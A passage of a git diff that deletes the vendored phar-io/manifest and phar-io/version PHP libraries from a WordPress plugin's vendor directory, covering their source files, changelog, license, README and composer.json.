static function fromFile(string $filename): ManifestDocument { - if (!is_file($filename)) { - throw new ManifestDocumentException( - sprintf('File "%s" not found', $filename) - ); - } - - return self::fromString( - file_get_contents($filename) - ); - } - - public static function fromString(string $xmlString): ManifestDocument { - $prev = libxml_use_internal_errors(true); - libxml_clear_errors(); - - try { - $dom = new DOMDocument(); - $dom->loadXML($xmlString); - $errors = libxml_get_errors(); - libxml_use_internal_errors($prev); - } catch (Throwable $t) { - throw new ManifestDocumentException($t->getMessage(), 0, $t); - } - - if (count($errors) !== 0) { - throw new ManifestDocumentLoadingException($errors); - } - - return new self($dom); - } - - private function __construct(DOMDocument $dom) { - $this->ensureCorrectDocumentType($dom); - - $this->dom = $dom; - } - - public function getContainsElement(): ContainsElement { - return new ContainsElement( - $this->fetchElementByName('contains') - ); - } - - public function getCopyrightElement(): CopyrightElement { - return new CopyrightElement( - $this->fetchElementByName('copyright') - ); - } - - public function getRequiresElement(): RequiresElement { - return new RequiresElement( - $this->fetchElementByName('requires') - ); - } - - public function hasBundlesElement(): bool { - return $this->dom->getElementsByTagNameNS(self::XMLNS, 'bundles')->length === 1; - } - - public function getBundlesElement(): BundlesElement { - return new BundlesElement( - $this->fetchElementByName('bundles') - ); - } - - private function ensureCorrectDocumentType(DOMDocument $dom): void { - $root = $dom->documentElement; - - if ($root->localName !== 'phar' || $root->namespaceURI !== self::XMLNS) { - throw new ManifestDocumentException('Not a phar.io manifest document'); - } - } - - private function fetchElementByName(string $elementName): DOMElement { - $element = $this->dom->getElementsByTagNameNS(self::XMLNS, $elementName)->item(0); - - if (!$element instanceof DOMElement) { - throw new ManifestDocumentException( - sprintf('Element %s missing', $elementName) - ); - } - - return $element; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ManifestElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ManifestElement.php deleted file mode 100644 index 461ba0c9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/ManifestElement.php +++ /dev/null @@ -1,72 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use DOMElement; -use DOMNodeList; -use function sprintf; - -class ManifestElement { - public const XMLNS = 'https://phar.io/xml/manifest/1.0'; - - /** @var DOMElement */ - private $element; - - public function __construct(DOMElement $element) { - $this->element = $element; - } - - protected function getAttributeValue(string $name): string { - if (!$this->element->hasAttribute($name)) { - throw new ManifestElementException( - sprintf( - 'Attribute %s not set on element %s', - $name, - $this->element->localName - ) - ); - } - - return $this->element->getAttribute($name); - } - - protected function hasAttribute(string $name): bool { - return $this->element->hasAttribute($name); - } - - protected function getChildByName(string $elementName): DOMElement { - $element = $this->element->getElementsByTagNameNS(self::XMLNS, $elementName)->item(0); - - if (!$element instanceof DOMElement) { - throw new ManifestElementException( - sprintf('Element %s missing', $elementName) - ); - } - - return $element; - } - - protected function getChildrenByName(string $elementName): DOMNodeList { - $elementList = $this->element->getElementsByTagNameNS(self::XMLNS, $elementName); - - if ($elementList->length === 0) { - throw new ManifestElementException( - sprintf('Element(s) %s missing', $elementName) - ); - } - - return $elementList; - } - - protected function hasChild(string $elementName): bool { - return $this->element->getElementsByTagNameNS(self::XMLNS, $elementName)->length !== 0; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/PhpElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/PhpElement.php deleted file mode 100644 index 9340c2e6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/PhpElement.php +++ /dev/null @@ -1,27 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class PhpElement extends ManifestElement { - public function getVersion(): string { - return $this->getAttributeValue('version'); - } - - public function hasExtElements(): bool { - return $this->hasChild('ext'); - } - - public function getExtElements(): ExtElementCollection { - return new ExtElementCollection( - $this->getChildrenByName('ext') - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/RequiresElement.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/RequiresElement.php deleted file mode 100644 index 73ba54ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/xml/RequiresElement.php +++ /dev/null @@ -1,19 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class RequiresElement extends ManifestElement { - public function getPHPElement(): PhpElement { - return new PhpElement( - $this->getChildByName('php') - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/tools/php-cs-fixer.d/PhpdocSingleLineVarFixer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/tools/php-cs-fixer.d/PhpdocSingleLineVarFixer.php deleted file mode 100644 index ea5414e4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/tools/php-cs-fixer.d/PhpdocSingleLineVarFixer.php +++ /dev/null @@ -1,72 +0,0 @@ -isTokenKindFound(T_DOC_COMMENT); - } - - public function isRisky(): bool { - return false; - } - - public function fix(\SplFileInfo $file, Tokens $tokens): void { - foreach($tokens as $index => $token) { - if (!$token->isGivenKind(T_DOC_COMMENT)) { - continue; - } - if (\stripos($token->getContent(), '@var') === false) { - continue; - } - - if (preg_match('#^/\*\*[\s\*]+(@var[^\r\n]+)[\s\*]*\*\/$#u', $token->getContent(), $matches) !== 1) { - continue; - } - $newContent = '/** ' . \rtrim($matches[1]) . ' */'; - if ($newContent === $token->getContent()) { - continue; - } - $tokens[$index] = new Token([T_DOC_COMMENT, $newContent]); - } - } - - public function getPriority(): int { - return 0; - } - - public function getName(): string { - return 'PharIo/phpdoc_single_line_var_fixer'; - } - - public function supports(\SplFileInfo $file): bool { - return true; - } - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/tools/php-cs-fixer.d/header.txt b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/tools/php-cs-fixer.d/header.txt deleted file mode 100644 index dc8c4ffc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/tools/php-cs-fixer.d/header.txt +++ /dev/null @@ -1,6 +0,0 @@ -This file is part of PharIo\Manifest. - -Copyright (c) Arne Blankerts , Sebastian Heuer , Sebastian Bergmann and contributors - -For the full copyright and license information, please view the LICENSE -file that was distributed with this source code. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/CHANGELOG.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/CHANGELOG.md deleted file mode 100644 index 4c0edfa7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/CHANGELOG.md +++ /dev/null @@ -1,142 +0,0 @@ -# Changelog - -All notable changes to phar-io/version are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [3.2.1] - 2022-02-21 - -### Fixed - -- Have ExactVersionConstraint honor build metadata (added in 3.2.0) - - -## [3.2.0] - 2022-02-21 - -### Added - -- Build metadata is now supported and considered for equality checks only - - -## [3.1.1] - 2022-02-07 - -### Fixed - -- [#28](https://github.com/phar-io/version/issues/28): `VersionConstraintParser` does not support logical OR represented by single pipe (|) (Thanks @llaville) - - -## [3.1.0] - 2021-02-23 - -### Changed - -- Internal Refactoring -- More scalar types - -### Added - -- [#24](https://github.com/phar-io/version/issues/24): `Version::getOriginalString()` added (Thanks @addshore) -- Version constraints using the caret operator (`^`) now honor pre-1.0 releases, e.g. `^0.3` translates to `0.3.*`) -- Various integration tests for version constraint processing - -### Fixed - -- [#23](https://github.com/phar-io/version/pull/23): Tilde operator without patch level - - - -## [3.0.4] - 14.12.2020 - -### Fixed - -- [#22](https://github.com/phar-io/version/pull/22): make dev suffix rank works for uppercase too - -## [3.0.3] - 30.11.2020 - -### Added - -- Comparator method `Version::equals()` added - - -## [3.0.2] - 27.06.2020 - -This release now supports PHP 7.2+ and PHP ^8.0. No other changes included. - - -## [3.0.1] - 09.05.2020 - -__Potential BC Break Notice:__ -`Version::getVersionString()` no longer returns `v` prefixes in case the "input" -string contained one. These are not part of the semver specs -(see https://semver.org/#is-v123-a-semantic-version) and get stripped out. -As of Version 3.1.0 `Version::getOriginalString()` can be used to still -retrieve it as given. - -### Changed - -- Internal Refactoring -- More scalar types - -### Fixed - -- Fixed Constraint processing Regression for ^1.2 and ~1.2 - - -## [3.0.0] - 05.05.2020 - -### Changed - -- Require PHP 7.2+ -- All code now uses strict mode -- Scalar types have been added as needed - -### Added - -- The technically invalid format using 'v' prefix ("v1.2.3") is now properly supported - - -## [2.0.1] - 08.07.2018 - -### Fixed - -- Versions without a pre-release suffix are now always considered greater -than versions with a pre-release suffix. Example: `3.0.0 > 3.0.0-alpha.1` - - -## [2.0.0] - 23.06.2018 - -Changes to public API: - -- `PreReleaseSuffix::construct()`: optional parameter `$number` removed -- `PreReleaseSuffix::isGreaterThan()`: introduced -- `Version::hasPreReleaseSuffix()`: introduced - -### Added - -- [#11](https://github.com/phar-io/version/issues/11): Added support for pre-release version suffixes. Supported values are: - - `dev` - - `beta` (also abbreviated form `b`) - - `rc` - - `alpha` (also abbreviated form `a`) - - `patch` (also abbreviated form `p`) - - All values can be followed by a number, e.g. `beta3`. - - When comparing versions, the pre-release suffix is taken into account. Example: -`1.5.0 > 1.5.0-beta1 > 1.5.0-alpha3 > 1.5.0-alpha2 > 1.5.0-dev11` - -### Changed - -- reorganized the source directories - -### Fixed - -- [#10](https://github.com/phar-io/version/issues/10): Version numbers containing -a numeric suffix as seen in Debian packages are now supported. - - -[3.1.0]: https://github.com/phar-io/version/compare/3.0.4...3.1.0 -[3.0.4]: https://github.com/phar-io/version/compare/3.0.3...3.0.4 -[3.0.3]: https://github.com/phar-io/version/compare/3.0.2...3.0.3 -[3.0.2]: https://github.com/phar-io/version/compare/3.0.1...3.0.2 -[3.0.1]: https://github.com/phar-io/version/compare/3.0.0...3.0.1 -[3.0.0]: https://github.com/phar-io/version/compare/2.0.1...3.0.0 -[2.0.1]: https://github.com/phar-io/version/compare/2.0.0...2.0.1 -[2.0.0]: https://github.com/phar-io/version/compare/1.0.1...2.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/LICENSE deleted file mode 100644 index ce32758a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/LICENSE +++ /dev/null @@ -1,29 +0,0 @@ -Copyright (c) 2016-2017 Arne Blankerts , Sebastian Heuer and contributors -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the copyright holder nor the names of contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS -BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, -OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/README.md deleted file mode 100644 index 76e6e985..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/README.md +++ /dev/null @@ -1,61 +0,0 @@ -# Version - -Library for handling version information and constraints - -[![Build Status](https://travis-ci.org/phar-io/version.svg?branch=master)](https://travis-ci.org/phar-io/version) - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - - composer require phar-io/version - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - - composer require --dev phar-io/version - -## Version constraints - -A Version constraint describes a range of versions or a discrete version number. The format of version numbers follows the schema of [semantic versioning](http://semver.org): `..`. A constraint might contain an operator that describes the range. - -Beside the typical mathematical operators like `<=`, `>=`, there are two special operators: - -*Caret operator*: `^1.0` -can be written as `>=1.0.0 <2.0.0` and read as »every Version within major version `1`«. - -*Tilde operator*: `~1.0.0` -can be written as `>=1.0.0 <1.1.0` and read as »every version within minor version `1.1`. The behavior of tilde operator depends on whether a patch level version is provided or not. If no patch level is provided, tilde operator behaves like the caret operator: `~1.0` is identical to `^1.0`. - -## Usage examples - -Parsing version constraints and check discrete versions for compliance: - -```php - -use PharIo\Version\Version; -use PharIo\Version\VersionConstraintParser; - -$parser = new VersionConstraintParser(); -$caret_constraint = $parser->parse( '^7.0' ); - -$caret_constraint->complies( new Version( '7.0.17' ) ); // true -$caret_constraint->complies( new Version( '7.1.0' ) ); // true -$caret_constraint->complies( new Version( '6.4.34' ) ); // false - -$tilde_constraint = $parser->parse( '~1.1.0' ); - -$tilde_constraint->complies( new Version( '1.1.4' ) ); // true -$tilde_constraint->complies( new Version( '1.2.0' ) ); // false -``` - -As of version 2.0.0, pre-release labels are supported and taken into account when comparing versions: - -```php - -$leftVersion = new PharIo\Version\Version('3.0.0-alpha.1'); -$rightVersion = new PharIo\Version\Version('3.0.0-alpha.2'); - -$leftVersion->isGreaterThan($rightVersion); // false -$rightVersion->isGreaterThan($leftVersion); // true - -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/composer.json deleted file mode 100644 index 22687dcd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/composer.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "name": "phar-io/version", - "description": "Library for handling version information and constraints", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "support": { - "issues": "https://github.com/phar-io/version/issues" - }, - "require": { - "php": "^7.2 || ^8.0" - }, - "autoload": { - "classmap": [ - "src/" - ] - } -} - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/BuildMetaData.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/BuildMetaData.php deleted file mode 100644 index d42f0363..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/BuildMetaData.php +++ /dev/null @@ -1,28 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class BuildMetaData { - - /** @var string */ - private $value; - - public function __construct(string $value) { - $this->value = $value; - } - - public function asString(): string { - return $this->value; - } - - public function equals(BuildMetaData $other): bool { - return $this->asString() === $other->asString(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/PreReleaseSuffix.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/PreReleaseSuffix.php deleted file mode 100644 index 00563008..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/PreReleaseSuffix.php +++ /dev/null @@ -1,82 +0,0 @@ - 0, - 'a' => 1, - 'alpha' => 1, - 'b' => 2, - 'beta' => 2, - 'rc' => 3, - 'p' => 4, - 'pl' => 4, - 'patch' => 4, - ]; - - /** @var string */ - private $value; - - /** @var int */ - private $valueScore; - - /** @var int */ - private $number = 0; - - /** @var string */ - private $full; - - /** - * @throws InvalidPreReleaseSuffixException - */ - public function __construct(string $value) { - $this->parseValue($value); - } - - public function asString(): string { - return $this->full; - } - - public function getValue(): string { - return $this->value; - } - - public function getNumber(): ?int { - return $this->number; - } - - public function isGreaterThan(PreReleaseSuffix $suffix): bool { - if ($this->valueScore > $suffix->valueScore) { - return true; - } - - if ($this->valueScore < $suffix->valueScore) { - return false; - } - - return $this->getNumber() > $suffix->getNumber(); - } - - private function mapValueToScore(string $value): int { - $value = \strtolower($value); - - return self::valueScoreMap[$value]; - } - - private function parseValue(string $value): void { - $regex = '/-?((dev|beta|b|rc|alpha|a|patch|p|pl)\.?(\d*)).*$/i'; - - if (\preg_match($regex, $value, $matches) !== 1) { - throw new InvalidPreReleaseSuffixException(\sprintf('Invalid label %s', $value)); - } - - $this->full = $matches[1]; - $this->value = $matches[2]; - - if ($matches[3] !== '') { - $this->number = (int)$matches[3]; - } - - $this->valueScore = $this->mapValueToScore($matches[2]); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/Version.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/Version.php deleted file mode 100644 index 644af5ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/Version.php +++ /dev/null @@ -1,208 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class Version { - /** @var string */ - private $originalVersionString; - - /** @var VersionNumber */ - private $major; - - /** @var VersionNumber */ - private $minor; - - /** @var VersionNumber */ - private $patch; - - /** @var null|PreReleaseSuffix */ - private $preReleaseSuffix; - - /** @var null|BuildMetaData */ - private $buildMetadata; - - public function __construct(string $versionString) { - $this->ensureVersionStringIsValid($versionString); - $this->originalVersionString = $versionString; - } - - /** - * @throws NoPreReleaseSuffixException - */ - public function getPreReleaseSuffix(): PreReleaseSuffix { - if ($this->preReleaseSuffix === null) { - throw new NoPreReleaseSuffixException('No pre-release suffix set'); - } - - return $this->preReleaseSuffix; - } - - public function getOriginalString(): string { - return $this->originalVersionString; - } - - public function getVersionString(): string { - $str = \sprintf( - '%d.%d.%d', - $this->getMajor()->getValue() ?? 0, - $this->getMinor()->getValue() ?? 0, - $this->getPatch()->getValue() ?? 0 - ); - - if (!$this->hasPreReleaseSuffix()) { - return $str; - } - - return $str . '-' . $this->getPreReleaseSuffix()->asString(); - } - - public function hasPreReleaseSuffix(): bool { - return $this->preReleaseSuffix !== null; - } - - public function equals(Version $other): bool { - if ($this->getVersionString() !== $other->getVersionString()) { - return false; - } - - if ($this->hasBuildMetaData() !== $other->hasBuildMetaData()) { - return false; - } - - if ($this->hasBuildMetaData() && $other->hasBuildMetaData() && - !$this->getBuildMetaData()->equals($other->getBuildMetaData())) { - return false; - } - - return true; - } - - public function isGreaterThan(Version $version): bool { - if ($version->getMajor()->getValue() > $this->getMajor()->getValue()) { - return false; - } - - if ($version->getMajor()->getValue() < $this->getMajor()->getValue()) { - return true; - } - - if ($version->getMinor()->getValue() > $this->getMinor()->getValue()) { - return false; - } - - if ($version->getMinor()->getValue() < $this->getMinor()->getValue()) { - return true; - } - - if ($version->getPatch()->getValue() > $this->getPatch()->getValue()) { - return false; - } - - if ($version->getPatch()->getValue() < $this->getPatch()->getValue()) { - return true; - } - - if (!$version->hasPreReleaseSuffix() && !$this->hasPreReleaseSuffix()) { - return false; - } - - if ($version->hasPreReleaseSuffix() && !$this->hasPreReleaseSuffix()) { - return true; - } - - if (!$version->hasPreReleaseSuffix() && $this->hasPreReleaseSuffix()) { - return false; - } - - return $this->getPreReleaseSuffix()->isGreaterThan($version->getPreReleaseSuffix()); - } - - public function getMajor(): VersionNumber { - return $this->major; - } - - public function getMinor(): VersionNumber { - return $this->minor; - } - - public function getPatch(): VersionNumber { - return $this->patch; - } - - /** - * @psalm-assert-if-true BuildMetaData $this->buildMetadata - * @psalm-assert-if-true BuildMetaData $this->getBuildMetaData() - */ - public function hasBuildMetaData(): bool { - return $this->buildMetadata !== null; - } - - /** - * @throws NoBuildMetaDataException - */ - public function getBuildMetaData(): BuildMetaData { - if (!$this->hasBuildMetaData()) { - throw new NoBuildMetaDataException('No build metadata set'); - } - - return $this->buildMetadata; - } - - /** - * @param string[] $matches - * - * @throws InvalidPreReleaseSuffixException - */ - private function parseVersion(array $matches): void { - $this->major = new VersionNumber((int)$matches['Major']); - $this->minor = new VersionNumber((int)$matches['Minor']); - $this->patch = isset($matches['Patch']) ? new VersionNumber((int)$matches['Patch']) : new VersionNumber(0); - - if (isset($matches['PreReleaseSuffix']) && $matches['PreReleaseSuffix'] !== '') { - $this->preReleaseSuffix = new PreReleaseSuffix($matches['PreReleaseSuffix']); - } - - if (isset($matches['BuildMetadata'])) { - $this->buildMetadata = new BuildMetaData($matches['BuildMetadata']); - } - } - - /** - * @param string $version - * - * @throws InvalidVersionException - */ - private function ensureVersionStringIsValid($version): void { - $regex = '/^v? - (?P0|[1-9]\d*) - \\. - (?P0|[1-9]\d*) - (\\. - (?P0|[1-9]\d*) - )? - (?: - - - (?(?:(dev|beta|b|rc|alpha|a|patch|p|pl)\.?\d*)) - )? - (?: - \\+ - (?P[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-@]+)*) - )? - $/xi'; - - if (\preg_match($regex, $version, $matches) !== 1) { - throw new InvalidVersionException( - \sprintf("Version string '%s' does not follow SemVer semantics", $version) - ); - } - - $this->parseVersion($matches); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionConstraintParser.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionConstraintParser.php deleted file mode 100644 index 03d6a095..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionConstraintParser.php +++ /dev/null @@ -1,115 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class VersionConstraintParser { - /** - * @throws UnsupportedVersionConstraintException - */ - public function parse(string $value): VersionConstraint { - if (\strpos($value, '|') !== false) { - return $this->handleOrGroup($value); - } - - if (!\preg_match('/^[\^~*]?v?[\d.*]+(?:-.*)?$/i', $value)) { - throw new UnsupportedVersionConstraintException( - \sprintf('Version constraint %s is not supported.', $value) - ); - } - - switch ($value[0]) { - case '~': - return $this->handleTildeOperator($value); - case '^': - return $this->handleCaretOperator($value); - } - - $constraint = new VersionConstraintValue($value); - - if ($constraint->getMajor()->isAny()) { - return new AnyVersionConstraint(); - } - - if ($constraint->getMinor()->isAny()) { - return new SpecificMajorVersionConstraint( - $constraint->getVersionString(), - $constraint->getMajor()->getValue() ?? 0 - ); - } - - if ($constraint->getPatch()->isAny()) { - return new SpecificMajorAndMinorVersionConstraint( - $constraint->getVersionString(), - $constraint->getMajor()->getValue() ?? 0, - $constraint->getMinor()->getValue() ?? 0 - ); - } - - return new ExactVersionConstraint($constraint->getVersionString()); - } - - private function handleOrGroup(string $value): OrVersionConstraintGroup { - $constraints = []; - - foreach (\preg_split('{\s*\|\|?\s*}', \trim($value)) as $groupSegment) { - $constraints[] = $this->parse(\trim($groupSegment)); - } - - return new OrVersionConstraintGroup($value, $constraints); - } - - private function handleTildeOperator(string $value): AndVersionConstraintGroup { - $constraintValue = new VersionConstraintValue(\substr($value, 1)); - - if ($constraintValue->getPatch()->isAny()) { - return $this->handleCaretOperator($value); - } - - $constraints = [ - new GreaterThanOrEqualToVersionConstraint( - $value, - new Version(\substr($value, 1)) - ), - new SpecificMajorAndMinorVersionConstraint( - $value, - $constraintValue->getMajor()->getValue() ?? 0, - $constraintValue->getMinor()->getValue() ?? 0 - ) - ]; - - return new AndVersionConstraintGroup($value, $constraints); - } - - private function handleCaretOperator(string $value): AndVersionConstraintGroup { - $constraintValue = new VersionConstraintValue(\substr($value, 1)); - - $constraints = [ - new GreaterThanOrEqualToVersionConstraint($value, new Version(\substr($value, 1))) - ]; - - if ($constraintValue->getMajor()->getValue() === 0) { - $constraints[] = new SpecificMajorAndMinorVersionConstraint( - $value, - $constraintValue->getMajor()->getValue() ?? 0, - $constraintValue->getMinor()->getValue() ?? 0 - ); - } else { - $constraints[] = new SpecificMajorVersionConstraint( - $value, - $constraintValue->getMajor()->getValue() ?? 0 - ); - } - - return new AndVersionConstraintGroup( - $value, - $constraints - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionConstraintValue.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionConstraintValue.php deleted file mode 100644 index 0762e7c0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionConstraintValue.php +++ /dev/null @@ -1,88 +0,0 @@ -versionString = $versionString; - - $this->parseVersion($versionString); - } - - public function getLabel(): string { - return $this->label; - } - - public function getBuildMetaData(): string { - return $this->buildMetaData; - } - - public function getVersionString(): string { - return $this->versionString; - } - - public function getMajor(): VersionNumber { - return $this->major; - } - - public function getMinor(): VersionNumber { - return $this->minor; - } - - public function getPatch(): VersionNumber { - return $this->patch; - } - - private function parseVersion(string $versionString): void { - $this->extractBuildMetaData($versionString); - $this->extractLabel($versionString); - $this->stripPotentialVPrefix($versionString); - - $versionSegments = \explode('.', $versionString); - $this->major = new VersionNumber(\is_numeric($versionSegments[0]) ? (int)$versionSegments[0] : null); - - $minorValue = isset($versionSegments[1]) && \is_numeric($versionSegments[1]) ? (int)$versionSegments[1] : null; - $patchValue = isset($versionSegments[2]) && \is_numeric($versionSegments[2]) ? (int)$versionSegments[2] : null; - - $this->minor = new VersionNumber($minorValue); - $this->patch = new VersionNumber($patchValue); - } - - private function extractBuildMetaData(string &$versionString): void { - if (\preg_match('/\+(.*)/', $versionString, $matches) === 1) { - $this->buildMetaData = $matches[1]; - $versionString = \str_replace($matches[0], '', $versionString); - } - } - - private function extractLabel(string &$versionString): void { - if (\preg_match('/-(.*)/', $versionString, $matches) === 1) { - $this->label = $matches[1]; - $versionString = \str_replace($matches[0], '', $versionString); - } - } - - private function stripPotentialVPrefix(string &$versionString): void { - if ($versionString[0] !== 'v') { - return; - } - $versionString = \substr($versionString, 1); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionNumber.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionNumber.php deleted file mode 100644 index 4833a9b0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/VersionNumber.php +++ /dev/null @@ -1,28 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -class VersionNumber { - - /** @var ?int */ - private $value; - - public function __construct(?int $value) { - $this->value = $value; - } - - public function isAny(): bool { - return $this->value === null; - } - - public function getValue(): ?int { - return $this->value; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AbstractVersionConstraint.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AbstractVersionConstraint.php deleted file mode 100644 index 66201a14..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AbstractVersionConstraint.php +++ /dev/null @@ -1,23 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PharIo\Version; - -abstract class AbstractVersionConstraint implements VersionConstraint { - /** @var string */ - private $originalValue; - - public function __construct(string $originalValue) { - $this->originalValue = $originalValue; - } - - public function asString(): string { - return $this->originalValue; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AndVersionConstraintGroup.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/version/src/constraints/AndVersionConstraintGroup.php deleted file mode 100644 index 